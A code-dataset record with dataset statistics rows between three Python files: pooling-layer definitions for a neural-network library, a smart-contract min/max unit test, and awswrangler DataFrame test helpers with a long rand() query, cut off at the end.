of the same length as `pool_size`. If None, then offsets of 1 along each window axis, :math:`(1, ..., 1)`, will be used. padding: 'VALID' or 'SAME'. If 'VALID', no padding is done, and only full windows get reduced; partial windows are discarded. If 'SAME', padding is added at array edges as needed to avoid partial windows but does not otherwise affect the selection of max values. Returns: N-dimensional array in which each valid (or padded-valid) window position in the input is reduced to / replaced by the max value from that window. An output array has the same number of dimensions as its input, but has fewer elements. """ layer_name = f'MaxPool{pool_size}'.replace(' ', '') def f(x): return math.max_pool( x, pool_size=pool_size, strides=strides, padding=padding) return Fn(layer_name, f) def SumPool(pool_size=(2, 2), strides=None, padding='VALID'): """Reduces each multi-dimensional window to the sum of the window's values. Windows, as specified by `pool_size` and `strides`, involve all axes of an n-dimensional array except the first and last: :math:`(d_1, ..., d_{n-2})` from shape :math:`(d_0, d_1, ..., d_{n-2}, d_{n-1})`. Args: pool_size: Shape of window that gets reduced to a single vector value. If the layer inputs are :math:`n`-dimensional arrays, then `pool_size` must be a tuple of length :math:`n-2`. strides: Offsets from the location of one window to the locations of neighboring windows along each axis. If specified, must be a tuple of the same length as `pool_size`. If None, then offsets of 1 along each window axis, :math:`(1, ..., 1)`, will be used. padding: 'VALID' or 'SAME'. If 'VALID', no padding is done, and only full windows get reduced; partial windows are discarded. If 'SAME', padding is added at array edges as needed to avoid partial windows but does not otherwise affect the computation of sums. Returns: N-dimensional array in which each valid (or padded-valid) window position in the input is reduced to / replaced by the sum of values in that window. An output array has the same number of dimensions as its input, but has fewer elements. """ layer_name = f'SumPool{pool_size}'.replace(' ', '') def f(x): return math.sum_pool( x, pool_size=pool_size, strides=strides, padding=padding) return Fn(layer_name, f) def AvgPool(pool_size=(2, 2), strides=None, padding='VALID'): """Reduces each multi-dimensional window to the mean of the window's values. Windows, as specified by `pool_size` and `strides`, involve all axes of an n-dimensional array except the first and last: :math:`(d_1, ..., d_{n-2})` from shape :math:`(d_0, d_1, ..., d_{n-2}, d_{n-1})`. Args: pool_size: Shape of window that gets reduced to a single vector value. If the layer inputs are :math:`n`-dimensional arrays, then `pool_size` must be a tuple of length :math:`n-2`. strides: Offsets from the location of one window to the locations of neighboring windows along each axis. If specified, must be a tuple of the same length as `pool_size`. If None, then offsets of 1 along each window axis, :math:`(1, ..., 1)`, will be used. padding: 'VALID' or 'SAME'. If 'VALID', no padding is done, and only full windows get reduced; partial windows are discarded. If 'SAME', padding is added at array edges as needed but is not counted in the computation of averages. Returns: N-dimensional array in which each valid (or padded-valid) window position in the input is reduced to / replaced by the mean of values in that window. An output array has the same number of dimensions as its input, but has fewer elements. """ layer_name = f'AvgPool{pool_size}'.replace(' ', '') def f(x): return math.avg_pool( x, pool_size=pool_size, strides=strides, padding=padding) return Fn(layer_name, f)

45.264463

79

0.691072

887

5,477

4.209696

0.198422

0.051419

0.017675

0.006427

0.80932

0.785217

0

0.010683

0.213803

5,477

120

80

45.641667

0.856479

0.818514

0

0.45

0

0.086852

0

1

0.3

false

0

0.1

0.15

0.7

0

null

0

1

0

1

0

null

0

1

0

1

0

10

bc9c6b2c4e17b4f172efecd0eb16591b449aaa60

1,511

py

Python

raiden_contracts/tests/unit/test_unit_internals.py

konradkonrad/raiden-contracts

5726f744e8d7e80f7ca61401bd3f1084de57e30c

[ "MIT" ]

null

raiden_contracts/tests/unit/test_unit_internals.py

konradkonrad/raiden-contracts

5726f744e8d7e80f7ca61401bd3f1084de57e30c

[ "MIT" ]

null

raiden_contracts/tests/unit/test_unit_internals.py

konradkonrad/raiden-contracts

5726f744e8d7e80f7ca61401bd3f1084de57e30c

[ "MIT" ]

null

from itertools import chain, product import pytest from eth_tester.constants import UINT256_MIN, UINT256_MAX from web3.exceptions import ValidationError def test_min_uses_usigned(token_network_test_utils): """ Min cannot be called with negative values. """ INVALID_VALUES = [-UINT256_MAX, -1] VALID_VALUES = [UINT256_MIN, UINT256_MAX, UINT256_MAX] all_invalid = chain( product(VALID_VALUES, INVALID_VALUES), product(INVALID_VALUES, VALID_VALUES), ) for a, b in all_invalid: with pytest.raises(ValidationError): token_network_test_utils.functions.minPublic(a, b).call() def test_max_uses_usigned(token_network_test_utils): INVALID_VALUES = [-UINT256_MAX, -1] VALID_VALUES = [UINT256_MIN, UINT256_MAX, UINT256_MAX] all_invalid = chain( product(VALID_VALUES, INVALID_VALUES), product(INVALID_VALUES, VALID_VALUES), ) for a, b in all_invalid: with pytest.raises(ValidationError): token_network_test_utils.functions.maxPublic(a, b).call() def test_min(token_network_test_utils): VALUES = [UINT256_MIN, 1, UINT256_MAX, UINT256_MAX] for a, b in product(VALUES, VALUES): assert token_network_test_utils.functions.minPublic(a, b).call() == min(a, b) def test_max(token_network_test_utils): VALUES = [UINT256_MIN, 1, UINT256_MAX, UINT256_MAX] for a, b in product(VALUES, VALUES): assert token_network_test_utils.functions.maxPublic(a, b).call() == max(a, b)

30.836735

85

0.717406

206

1,511

4.946602

0.203884

0.107949

0.125613

0.164868

0.802748

0.789009

0.726202

0.667321

0

0.043195

0.187955

1,511

48

86

31.479167

0.787286

0.027796

0

0.5625

0

0.0625

1

0.125

false

0

0.125

0

0.25

0

null

0

1

0

null

0

7

bc9dd3f75b3bf9d8c9a6bda2cb124e0ba223826b

33,260

py

Python

tests/_utils.py

bharatkumar9/AWSWrangler

9b27d238f34d6245244c84d942e9bef002c399a2

[ "Apache-2.0" ]

null

tests/_utils.py

bharatkumar9/AWSWrangler

9b27d238f34d6245244c84d942e9bef002c399a2

[ "Apache-2.0" ]

19

2021-09-20T08:21:22.000Z

2022-03-28T08:28:44.000Z

tests/_utils.py

bharatkumar9/AWSWrangler

9b27d238f34d6245244c84d942e9bef002c399a2

[ "Apache-2.0" ]

null

import random import time from datetime import datetime from decimal import Decimal from typing import Iterator import boto3 import botocore.exceptions import pandas as pd import awswrangler as wr from awswrangler._utils import try_it ts = lambda x: datetime.strptime(x, "%Y-%m-%d %H:%M:%S.%f") # noqa dt = lambda x: datetime.strptime(x, "%Y-%m-%d").date() # noqa CFN_VALID_STATUS = ["CREATE_COMPLETE", "ROLLBACK_COMPLETE", "UPDATE_COMPLETE", "UPDATE_ROLLBACK_COMPLETE"] def get_df(governed=False): df = pd.DataFrame( { "iint8": [1, None, 2], "iint16": [1, None, 2], "iint32": [1, None, 2], "iint64": [1, None, 2], "float": [0.0, None, 1.1], "ddouble": [0.0, None, 1.1], "decimal": [Decimal((0, (1, 9, 9), -2)), None, Decimal((0, (1, 9, 0), -2))], "string_object": ["foo", None, "boo"], "string": ["foo", None, "boo"], "date": [dt("2020-01-01"), None, dt("2020-01-02")], "timestamp": [ts("2020-01-01 00:00:00.0"), None, ts("2020-01-02 00:00:01.0")], "bool": [True, None, False], "binary": [b"0", None, b"1"], "category": [1.0, None, 2.0], "par0": [1, 1, 2], "par1": ["a", "b", "b"], } ) df["iint8"] = df["iint8"].astype("Int8") df["iint16"] = df["iint16"].astype("Int16") df["iint32"] = df["iint32"].astype("Int32") df["iint64"] = df["iint64"].astype("Int64") df["float"] = df["float"].astype("float32") df["string"] = df["string"].astype("string") df["category"] = df["category"].astype("category") if governed: df = df.drop(["iint8", "binary"], axis=1) # tinyint & binary currently not supported return df def get_df_list(governed=False): df = pd.DataFrame( { "iint8": [1, None, 2], "iint16": [1, None, 2], "iint32": [1, None, 2], "iint64": [1, None, 2], "float": [0.0, None, 1.1], "ddouble": [0.0, None, 1.1], "decimal": [Decimal((0, (1, 9, 9), -2)), None, Decimal((0, (1, 9, 0), -2))], "string_object": ["foo", None, "boo"], "string": ["foo", None, "boo"], "date": [dt("2020-01-01"), None, dt("2020-01-02")], "timestamp": [ts("2020-01-01 00:00:00.0"), None, ts("2020-01-02 00:00:01.0")], "timestamp2": [ts("2020-01-01 00:00:00.0"), ts("2020-01-02 00:00:01.0"), ts("2020-01-03 00:00:01.0")], "bool": [True, None, False], "binary": [b"0", None, b"1"], "category": [1.0, None, 2.0], "list": [[1, 2], None, [3, 4]], "list_list": [[[1, 2], [3, 4]], None, [[5, 6], [7, 8]]], "par0": [1, 1, 2], "par1": ["a", "b", "b"], } ) df["iint8"] = df["iint8"].astype("Int8") df["iint16"] = df["iint16"].astype("Int16") df["iint32"] = df["iint32"].astype("Int32") df["iint64"] = df["iint64"].astype("Int64") df["float"] = df["float"].astype("float32") df["string"] = df["string"].astype("string") df["category"] = df["category"].astype("category") if governed: df = (df.drop(["iint8", "binary"], axis=1),) # tinyint & binary currently not supported return df def get_df_cast(governed=False): df = pd.DataFrame( { "iint8": [None, None, None], "iint16": [None, None, None], "iint32": [None, None, None], "iint64": [None, None, None], "float": [None, None, None], "ddouble": [None, None, None], "decimal": [None, None, None], "string": [None, None, None], "date": [None, None, dt("2020-01-02")], "timestamp": [None, None, None], "timestamp2": [ts("2020-01-01 00:00:00.0"), ts("2020-01-02 00:00:01.0"), ts("2020-01-03 00:00:01.0")], "bool": [True, None, None], "binary": [None, None, None], "category": [None, None, None], "par0": [1, 1, 2], "par1": ["a", "b", "b"], } ) if governed: df = (df.drop(["iint8", "binary"], axis=1),) # tinyint & binary currently not supported return df def get_df_csv(): df = pd.DataFrame( { "id": [1, 2, 3], "string_object": ["foo", None, "boo"], "string": ["foo", None, "boo"], "float": [1.0, None, 2.0], "int": [1, None, 2], "date": [dt("2020-01-01"), None, dt("2020-01-02")], "timestamp": [ts("2020-01-01 00:00:00.0"), None, ts("2020-01-02 00:00:01.0")], "bool": [True, None, False], "par0": [1, 1, 2], "par1": ["a", "b", "b"], } ) df["string"] = df["string"].astype("string") df["int"] = df["int"].astype("Int64") df["par1"] = df["par1"].astype("string") return df def get_df_txt(): df = pd.DataFrame( { "col_name": [ "iint8 ", "iint16 ", "iint32 ", "par0 ", "par1 ", "", "# Partition Information", "# col_name ", "", "par0 ", "par1 ", ], "data_type": [ "tinyint ", "smallint ", "int ", "bigint ", "string ", " ", " ", "data_type ", " ", "bigint ", "string ", ], "comment": [ " ", " ", " ", " ", " ", " ", " ", "comment ", " ", " ", " ", ], } ) return df def get_df_category(): df = pd.DataFrame( { "id": [1, 2, 3], "string_object": ["foo", None, "boo"], "string": ["foo", None, "boo"], "binary": [b"1", None, b"2"], "float": [1.0, None, 2.0], "int": [1, None, 2], "par0": [1, 1, 2], "par1": ["a", "b", "b"], } ) df["string"] = df["string"].astype("string") df["int"] = df["int"].astype("Int64") df["par1"] = df["par1"].astype("string") return df def get_df_quicksight(): df = pd.DataFrame( { "iint8": [1, None, 2], "iint16": [1, None, 2], "iint32": [1, None, 2], "iint64": [1, None, 2], "float": [0.0, None, 1.1], "ddouble": [0.0, None, 1.1], "decimal": [Decimal((0, (1, 9, 9), -2)), None, Decimal((0, (1, 9, 0), -2))], "string_object": ["foo", None, "boo"], "string": ["foo", None, "boo"], "date": [dt("2020-01-01"), None, dt("2020-01-02")], "timestamp": [ts("2020-01-01 00:00:00.0"), None, ts("2020-01-02 00:00:01.0")], "bool": [True, None, False], "category": [1.0, None, 2.0], "par0": [1, 1, 2], "par1": ["a", "b", "b"], } ) df["iint8"] = df["iint8"].astype("Int8") df["iint16"] = df["iint16"].astype("Int16") df["iint32"] = df["iint32"].astype("Int32") df["iint64"] = df["iint64"].astype("Int64") df["float"] = df["float"].astype("float32") df["string"] = df["string"].astype("string") df["category"] = df["category"].astype("category") return df def get_query_long(): return """ SELECT rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand() """ def ensure_data_types(df, has_list=False): if "iint8" in df.columns: assert str(df["iint8"].dtype).startswith("Int") assert str(df["iint16"].dtype).startswith("Int") assert str(df["iint32"].dtype).startswith("Int") assert str(df["iint64"].dtype) == "Int64" assert str(df["float"].dtype).startswith("float") assert str(df["ddouble"].dtype) == "float64" assert str(df["decimal"].dtype) == "object" if "string_object" in df.columns: assert str(df["string_object"].dtype) == "string" assert str(df["string"].dtype) == 